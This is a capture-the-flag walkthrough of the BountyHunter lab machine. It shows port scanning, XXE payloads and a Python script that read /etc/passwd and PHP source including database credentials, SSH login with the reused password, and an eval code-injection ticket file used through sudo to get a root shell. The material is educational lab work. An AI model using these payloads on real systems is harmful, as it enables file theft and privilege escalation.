BountyHunter features a website that is vulnerable to XXE attack. Exploiting it allows me to retrieve the user credentials from the source code. For the root part, there is an internal tool for ticket validation which can be exploited by leveraging the Python eval function to pops a root shell.
Skills Learned
- XXE attack
- Code injection
Tools
- Nmap
- Burp Suite
Reconnaissance
Nmap
A full tcp scan with nmap
reveals two open ports: SSH and an Apache web server.
→ kali@kali «bountyhunter» «10.10.14.23»
$ nmap -p- --min-rate 1000 -oA nmap/10-tcp-allport-bounty 10.10.11.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-29 12:49 EDT
Nmap scan report for 10.10.11.100
Host is up (0.060s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 48.51 seconds
→ kali@kali «bountyhunter» «10.10.14.23»
$ nmap -sC -sV -p22,80 --min-rate 1000 -oA nmap/10-tcp-allport-script-bounty 10.10.11.100
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-29 12:52 EDT
Nmap scan report for 10.10.11.100
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.30 seconds
Enumeration
TCP 80 - Website
Visiting port 80 shows a portfolio website that is similar with one of the HTB web challenges: Freelancer.
Clicking on portal redirects to /portal.php
, and the page is under development.
Clicking the ‘here’ text points to /log_submit.php
. There is a form there and I can submit some inputs.
By observing the traffic, I can see that the form data is submitted to trackerdiRbpr00f314.php
.
It seems the submitted data is converted to an xml document and encoded in base64
→ kali@kali «bountyhunter» «10.10.14.29»
$ echo 'PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT5kZG9zPC90aXRsZT4KCQk8Y3dlPmN3ZS01MDA8L2N3ZT4KCQk8Y3Zzcz4xMDwvY3Zzcz4KCQk8cmV3YXJkPjEkPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+' | base64 -d
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>ddos</title>
<cwe>cwe-500</cwe>
<cvss>10</cvss>
<reward>1$</reward>
</bugreport>
Further observation reveals a web directory which has directory listing enabled.
The contents of readme.txt
contains some to do list.
Foothold
XXE
PoC
Seeing XML document submitted in base64 encoded leads to an assumption of XXE attack. I will use the following payload to test the attack.
→ kali@kali «exploits» «10.10.14.29»
$ cat xxe1.test
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bugreport [<!ENTITY passwd SYSTEM "file:///etc/passwd" >] >
<bugreport>
<title>&passwd;</title>
<cwe>cwe-500</cwe>
<cvss>10</cvss>
<reward>1$</reward>
</bugreport>
→ kali@kali «exploits» «10.10.14.29»
$ cat xxe1.test | base64 -w 0
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGJ1Z3JlcG9ydCBbPCFFTlRJVFkgcGFzc3dkIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIiA+XSA+CjxidWdyZXBvcnQ+CiA8dGl0bGU+JnBhc3N3ZDs8L3RpdGxlPgogPGN3ZT5jd2UtNTAwPC9jd2U+CiA8Y3Zzcz4xMDwvY3Zzcz4KIDxyZXdhcmQ+MSQ8L3Jld2FyZD4KPC9idWdyZXBvcnQ+Cg==
I will intercept the submit request and put my payload there.
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 323
Origin: http://10.10.11.100
Connection: close
Referer: http://10.10.11.100/log_submit.php
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGJ1Z3JlcG9ydCBbPCFFTlRJVFkgcGFzc3dkIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIiA%2bXSA%2bCjxidWdyZXBvcnQ%2bCiA8dGl0bGU%2bJnBhc3N3ZDs8L3RpdGxlPgogPGN3ZT5jd2UtNTAwPC9jd2U%2bCiA8Y3Zzcz4xMDwvY3Zzcz4KIDxyZXdhcmQ%2bMSQ8L3Jld2FyZD4KPC9idWdyZXBvcnQ%2bCg%3d%3d
When I submit, it returns with:
It was vulnerable!
Shell as Development
File Read
I created a Python script to exploit the XXE and grab the file contents.
import requests
import sys
try:
file_to_read = sys.argv[1]
except IndexError:
print('[-] Usage: %s <file-to-read>' % sys.argv[0])
sys.exit(-1)
target_url = "http://10.10.11.100/tracker_diRbPr00f314.php"
proxies = {
"http": "http://127.0.0.1:8080"
}
from base64 import b64encode
xxe_payload = f"""
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE bugreport [<!ENTITY xxe SYSTEM "file://{file_to_read}" >]
<bugreport>
<title>&xxe;</title>
<cwe>cwe-500</cwe>
<cvss>10</cvss>
<reward>1$</reward>
</bugreport>
"""
xxe_payload_b64 = b64encode(xxe_payload.strip().encode('ascii')).decode('UTF-8')
#print(f"[+] Crafted payload \n{xxe_payload_b64}")
data = {
'data': xxe_payload_b64
}
xxe_resp = requests.post(target_url, data=data, proxies=proxies, verify=False)
if "cwe-500" not in xxe_resp.text:
print("[-] Something went wrong")
sys.exit(-1)
from bs4 import BeautifulSoup
soup = BeautifulSoup(xxe_resp.text, features="lxml")
output = [tag.text for tag in soup.find_all("td")]
print(output[1])
But when I try to use this script to read PHP files, it fails
→ kali@kali «exploits» «10.10.14.29»
$ python3 bountyhunters_xxe.py /var/www/html/index.php
[-] Something went wrong
This time I modified the script and used the PHP wrapper.
...[SNIP]...
<!DOCTYPE bugreport [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={file_to_read}" >] >
...[SNIP]...
from bs4 import BeautifulSoup
soup = BeautifulSoup(xxe_resp.text, features="lxml")
output = [tag.text for tag in soup.find_all("td")]
from base64 import b64decode
print(b64decode(output[1]).decode('UTF-8'))
And it worked.
→ kali@kali «exploits» «10.10.14.29»
$ python3 bountyhunters_xxe_filter.py /var/www/html/tracker_diRbPr00f314.php
<?php
if(isset($_POST['data'])) {
$xml = base64_decode($_POST['data']);
libxml_disable_entity_loader(false);
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$bugreport = simplexml_import_dom($dom);
}
?>
If DB were ready, would have added:
<table>
<tr>
<td>Title:</td>
<td><?php echo $bugreport->title; ?></td>
</tr>
<tr>
<td>CWE:</td>
<td><?php echo $bugreport->cwe; ?></td>
</tr>
<tr>
<td>Score:</td>
<td><?php echo $bugreport->cvss; ?></td>
</tr>
<tr>
<td>Reward:</td>
<td><?php echo $bugreport->reward; ?></td>
</tr>
</table>
There is a database connection file (/var/www/html/db.php
) that contains DB credentials.
→ kali@kali «exploits» «10.10.14.29»
$ python3 bountyhunters_xxe_filter.py /var/www/html/db.php
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
SSH
The database password works on user development
(from /etc/passwd
).
kali@kali «exploits» «10.10.14.29»
$ ssh development@10.10.11.100
development@10.10.11.100's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
...[SNIP]...
System information as of Fri 30 Jul 2021 03:28:24 PM UTC
System load: 0.0
Usage of /: 38.4% of 6.83GB
Memory usage: 30%
Swap usage: 0%
Processes: 214
Users logged in: 1
IPv4 address for eth0: 10.10.11.100
IPv6 address for eth0: dead:beef::250:56ff:feb9:cb7f
...[SNIP]...
Last login: Fri Jul 30 13:44:59 2021 from 10.10.14.42
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
Privilege Escalation
Shell as root
Enumeration
At current home directory, there are some plain text files.
development@bountyhunter:~$ ls -l
total 12
-rw-r--r-- 1 root root 471 Jun 15 16:10 contract.txt
-r--r----- 1 root development 33 Jul 30 05:20 user.txt
The content of contract.txt
.
development@bountyhunter:~$ cat contract.txt
Hey team,
I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.
I set up the permissions for you to test this. Good luck.
-- John
This user also has sudo permissions on the mentioned internal tool called ticketValidator.py
.
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Source Analysis
ticketValidator.py
:
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
I’m bad at python, but I can see where is the goal from that script, it’s this line
validationNumber = eval(x.replace("**", ""))
So the flow is: ask a file -> load the file (markdown extension) -> some unique evaluation -> eval function.
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
Exploitation
To exploit this script, I can just create a md file, and the first three line are:
# Skytrain Inc
## Ticket to me
__Ticket Code:__
Now in the fourth line, I can inject a Python code such as:
**32+0==32 and __import__('os').system('cat /root/root.txt')
As long as the number has 4 as the remainder when mod by 7, it can pass these lines and it will be eval-ed and executed as 32+0==32 and __import__('os').system('cat /root/root.txt')
.
if code_line and i == code_line:
if not x.startswith("**"):
return False
# ["32", "0==32 and __import__('os').system('cat /root/root.txt')"]
ticketCode = x.replace("**", "").split("+")[0] # 32
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
os.system([command])
returns value of 0 if the execution is success.
The complete file:
development@bountyhunter:/dev/shm$ cat iamf.md
# Skytrain Inc
## Ticket to me
__Ticket Code:__
**32+0==32 and __import__('os').system('cat /root/root.txt')
Now I can run and supply my ticket file.
development@bountyhunter:/dev/shm$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
iamf.md
Destination: me
70cfb26382b7af00c95360e142894b1f
Invalid ticket.
For shell, I can just change the fourth line to execute bash.
**32+0==32 and __import__('os').system('/bin/bash')
And done.
development@bountyhunter:/dev/shm$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
iamf.md
Destination: me
root@bountyhunter:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:/dev/shm# ls -l /root/
total 8
-r-------- 1 root root 33 Jul 30 16:38 root.txt
drwxr-xr-x 3 root root 4096 Apr 5 22:48 snap
root@bountyhunter:/dev/shm#